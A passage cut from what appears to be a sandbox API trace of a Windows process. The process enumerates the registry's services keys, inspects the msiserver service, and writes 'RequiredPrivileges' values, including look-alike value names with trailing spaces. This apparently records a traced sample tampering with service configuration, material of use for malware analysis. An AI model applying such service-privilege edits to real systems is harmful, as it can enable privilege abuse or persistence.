hKey=0x148, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0232.813] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0232.813] RegEnumKeyW (in: hKey=0x148, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0232.813] RegEnumKeyW (in: hKey=0x148, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0232.813] RegEnumKeyW (in: hKey=0x148, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0232.813] RegEnumKeyW (in: hKey=0x148, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0232.813] RegEnumKeyW (in: hKey=0x148, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0232.813] RegEnumKeyW (in: hKey=0x148, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0232.813] RegEnumKeyW (in: hKey=0x148, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0232.813] RegEnumKeyW (in: hKey=0x148, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0232.813] RegEnumKeyW (in: hKey=0x148, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0232.813] RegEnumKeyW (in: hKey=0x148, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0232.813] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0232.813] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0232.813] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0232.813] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0232.814] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0232.814] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0232.814] RegEnumKeyW (in: hKey=0x148, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0232.814] RegEnumKeyW (in: hKey=0x148, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0232.814] RegEnumKeyW (in: hKey=0x148, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0232.814] RegEnumKeyW (in: hKey=0x148, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0232.814] RegEnumKeyW (in: hKey=0x148, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0232.814] RegEnumKeyW (in: hKey=0x148, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0232.814] RegEnumKeyW (in: hKey=0x148, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0232.814] RegEnumKeyW (in: hKey=0x148, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0232.814] RegEnumKeyW (in: hKey=0x148, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0232.814] RegEnumKeyW (in: hKey=0x148, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0232.814] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0232.814] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0232.814] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0232.814] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0232.815] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0232.815] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0232.815] RegEnumKeyW (in: hKey=0x148, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0232.815] RegEnumKeyW (in: hKey=0x148, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0232.815] RegEnumKeyW (in: hKey=0x148, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0232.815] RegEnumKeyW (in: hKey=0x148, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0232.815] RegEnumKeyW (in: hKey=0x148, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0232.815] RegEnumKeyW (in: hKey=0x148, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0232.815] RegEnumKeyW (in: hKey=0x148, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0232.815] RegEnumKeyW (in: hKey=0x148, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0232.815] RegEnumKeyW (in: hKey=0x148, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0232.815] RegEnumKeyW (in: hKey=0x148, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0232.815] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0232.815] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0232.815] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0232.816] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0232.816] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0232.816] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0232.816] RegEnumKeyW (in: hKey=0x148, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0232.816] RegEnumKeyW (in: hKey=0x148, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0232.816] RegEnumKeyW (in: hKey=0x148, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0232.816] RegEnumKeyW (in: hKey=0x148, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0232.816] RegEnumKeyW (in: hKey=0x148, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0232.816] RegEnumKeyW (in: hKey=0x148, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0232.816] RegEnumKeyW (in: hKey=0x148, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0232.816] RegEnumKeyW (in: hKey=0x148, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0232.816] RegEnumKeyW (in: hKey=0x148, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0232.816] RegEnumKeyW (in: hKey=0x148, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0232.816] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0232.816] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0232.817] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0232.817] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0232.817] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0232.817] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0232.817] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0232.817] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0232.817] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0232.817] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0232.817] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0232.817] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0232.817] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0232.817] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0232.817] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0232.817] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0232.817] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0232.818] RegEnumKeyW (in: hKey=0x148, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0232.818] RegEnumKeyW (in: hKey=0x148, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0232.818] RegEnumKeyW (in: hKey=0x148, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0232.818] RegEnumKeyW (in: hKey=0x148, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0232.818] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0232.818] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0232.818] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0232.818] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0232.818] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0232.818] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0232.818] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0232.818] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0232.818] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0232.818] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0232.818] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0232.818] RegEnumKeyW (in: hKey=0x148, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0232.819] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0232.819] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0232.819] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0232.819] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0232.819] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0232.819] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0232.819] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0232.819] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0232.819] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0232.819] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0232.819] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0232.819] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0232.819] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0232.819] RegOpenKeyExW (in: hKey=0x148, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0232.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0232.819] RegCloseKey (hKey=0x148) returned 0x0 [0232.820] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0232.820] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0232.820] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0232.820] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0232.820] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0232.820] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0232.820] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0232.820] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0232.820] RegCloseKey (hKey=0x80000002) returned 0x0 [0232.820] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0232.820] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0232.820] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0232.820] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0232.820] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0232.820] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0232.821] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0232.821] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0232.821] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0232.821] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0232.821] RegCloseKey (hKey=0x14c) returned 0x0 [0232.821] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0232.821] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0232.821] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0232.821] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0232.821] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0232.821] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0232.821] RegCloseKey (hKey=0x148) returned 0x0 [0232.821] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0232.821] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0232.821] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0232.821] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0232.822] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0232.822] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0232.822] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0232.822] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0232.822] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0232.822] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.822] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.822] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.822] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.822] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.823] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.823] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.823] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.823] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.823] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.823] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.823] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.823] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.823] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.823] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.823] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0232.823] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0232.823] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0232.824] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0232.824] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0232.824] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.824] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.824] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.824] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.824] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.824] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.824] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.824] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.824] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, 